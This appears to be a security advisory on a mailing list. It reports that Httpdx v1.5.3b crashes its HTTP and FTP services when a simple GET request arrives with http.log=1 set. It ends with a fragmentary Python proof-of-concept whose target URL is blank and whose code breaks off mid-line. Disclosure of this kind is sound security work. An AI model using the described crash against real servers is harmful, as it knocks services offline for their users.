Vulnerability Httpdx v1.5.3b

From: Mehdi Mahdjoub - Sysdream IT Security Services <>
Subject: Vulnerability Httpdx v1.5.3b

Program          : Httpdx v1.5.3b
PoC              : Remote Crash Service (if http.log=1)
Homepage         :
Found by         : Jonathan Salwan
This Advisory    : Jonathan Salwan
Contact          :

//----- Application description
Single-process HTTP1.1/FTP server; no threads or processes started per
connection, runs with only few threads. Includes directory listing,
virtual hosting, basic auth., support for PHP, Perl, Python, SSI, etc.
All settings in one config/script file. 
//----- Description of vulnerability
The vulnerability is caused due to set http.log=1 in httpdx.conf - Error
Writting log
This can be exploited to crash all services http & ftp.
Use simple GET request for crash service.

//----- Credits

import urllib
import urllib2

url = ''

req = urllib2.Request(url)
answer = urllib2.urlopen(req)
page =

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